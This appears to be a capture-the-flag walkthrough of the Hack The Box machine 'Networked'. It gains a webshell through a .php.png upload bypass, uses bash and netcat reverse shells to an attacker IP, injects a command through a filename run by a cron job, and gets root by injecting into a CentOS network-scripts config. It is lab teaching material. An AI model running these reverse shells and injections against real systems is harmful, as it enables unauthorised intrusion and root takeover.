HTB - Networked

Target IP: 10.129.46.157 OS: CentOS Linux Web Stack: Apache 2.4.6 / PHP 5.4.16 Difficulty: Easy Author: [g1nt0n1x]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

We run a targeted service scan against the two open ports identified in an initial all-ports scan.

nmap -p 22,80 -sCV -Pn -oA nmap/tcp-targeted 10.129.46.157
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Port Analysis & Mapping

  • 22/tcp (SSH): OpenSSH 7.4 — useful once credentials or a key are obtained.
  • 80/tcp (HTTP): Apache on CentOS running PHP 5.4.16 — the primary attack surface.

1.2 Web Enumeration

whatweb confirms the stack and reveals no domain/hostname, so vhost enumeration is not viable. We proceed with directory and file fuzzing, including the -x php flag since this is a PHP application.

whatweb http://10.129.46.157
# http://10.129.46.157 [200 OK] Apache[2.4.6], PHP[5.4.16], X-Powered-By[PHP/5.4.16]
 
feroxbuster --url http://10.129.46.157 -x php
200  http://10.129.46.157/index.php
200  http://10.129.46.157/upload.php
200  http://10.129.46.157/photos.php
200  http://10.129.46.157/lib.php
200  http://10.129.46.157/backup/backup.tar
200  http://10.129.46.157/uploads/127_0_0_1.png

Key findings:

  • /upload.php — a file upload endpoint.
  • /photos.php — displays uploaded images.
  • /backup/backup.tar — a source code backup available without authentication.

2. Phase 2: Initial Access (File Upload Bypass)

2.1 Source Code Analysis

Downloading and extracting backup.tar gives us the full PHP source. Reviewing lib.php and upload.php reveals the upload validation: only .png, .jpeg, .jpg, and .gif extensions are accepted, and uploaded files are served from /uploads/.

wget http://10.129.46.157/backup/backup.tar
tar -xf backup.tar

2.2 Crafting the Malicious Image

Since validation only checks the extension (not the MIME type or content), we can bypass it by appending a PHP webshell to a real PNG file using a double extension (.php.png). This satisfies the extension check while the web server executes the PHP code.

# Download a legitimate PNG
wget -O original-image.png <image-url>
 
# Download a CMD webshell from revshells.com, save as shell.php
# Append shell to the image
cat original-image.png shell.php > shell.php.png

2.3 Triggering the Shell

After uploading via /upload.php, the file appears in /photos.php. Opening the image in a new tab causes Apache to interpret the PHP code embedded after the image data.

# Terminal 1: Start listener
rlwrap nc -lvnp 9001
 
# Trigger via browser or curl — navigate to the uploaded file URL
# Then send the reverse shell payload through the webshell:
# /bin/bash -i >& /dev/tcp/10.10.16.149/9001 0>&1

2.4 Shell as apache

whoami
# apache
 
# Upgrade to fully interactive TTY
which python
python -c 'import pty; pty.spawn("/bin/bash")'

3. Phase 3: Lateral Movement (apache → guly)

3.1 Enumerating the guly Home Directory

cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# guly:x:1000:1000:guly:/home/guly:/bin/bash
 
ls -la /home/guly
# -r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
# -rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
# -r--------. 1 guly guly   33 May  4 09:51 user.txt

3.2 Crontab Discovery

crontab.guly reveals that check_attack.php runs as guly every 3 minutes.

cat crontab.guly
# */3 * * * * php /home/guly/check_attack.php

3.3 Analysing check_attack.php

The script scans /var/www/html/uploads/, validates each filename as an IP address, and removes invalid ones using exec(). The critical flaw: the filename is passed directly into a shell command without sanitisation.

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

If $value (the filename) contains a semicolon, the shell treats everything after it as a separate command. A file named ; nc 10.10.16.149 9002 -c bash results in:

nohup /bin/rm -f /var/www/html/uploads/; nc 10.10.16.149 9002 -c bash > /dev/null 2>&1 &

3.4 Exploiting the Command Injection

We create a file with a malicious name in the uploads directory and wait up to 3 minutes for the cron to trigger.

cd /var/www/html/uploads/
touch '; nc 10.10.16.149 9002 -c bash'
# On Kali: catch the callback
rlwrap nc -lvnp 9002
 
whoami
# guly

4. Phase 4: Privilege Escalation (guly → root)

4.1 Sudo Enumeration

sudo -l
# User guly may run the following commands on networked:
#     (root) NOPASSWD: /usr/local/sbin/changename.sh

4.2 Analysing changename.sh

The script prompts for four interface parameters and writes them directly into a network config file, then calls /sbin/ifup to bring the interface up.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
 
regexp="^[a-zA-Z0-9_\ /-]+$"
 
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
 
/sbin/ifup guly0

The regex ^[a-zA-Z0-9_\ /-]+$ permits spaces. On RHEL/CentOS, when ifup processes a network-scripts config, values containing a space cause the second word to be executed as a shell command by the underlying source mechanism. Entering bash bash for the NAME field causes a root bash shell to spawn.

4.3 Shell as root

sudo /usr/local/sbin/changename.sh
# interface NAME:
bash bash
# interface PROXY_METHOD:
bash bash
# interface BROWSER_ONLY:
bash bash
# interface BOOTPROTO:
bash bash
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)

New things learnt

  • Double-extension file upload bypass (.php.png) works when the server validates only the final extension and PHP is configured to execute any file containing <?php.
  • Unsanitised filenames passed to exec() in PHP allow command injection — filenames can contain shell metacharacters like ;.
  • On RHEL/CentOS, network-scripts config values are sourced by the shell. A space in a value causes the second word to be executed — a known privilege escalation vector when ifup runs as root.

Checklist added

  • Check /backup and similar directories for source code leaks
  • File upload: try double extension (.php.png, .php.jpg) and magic byte prepend
  • Look for crontabs in user home directories (crontab.guly, etc.)
  • Unsanitised exec() / system() calls in PHP with filename input
  • sudo network-scripts (changename.sh, ifup) command injection on CentOS/RHEL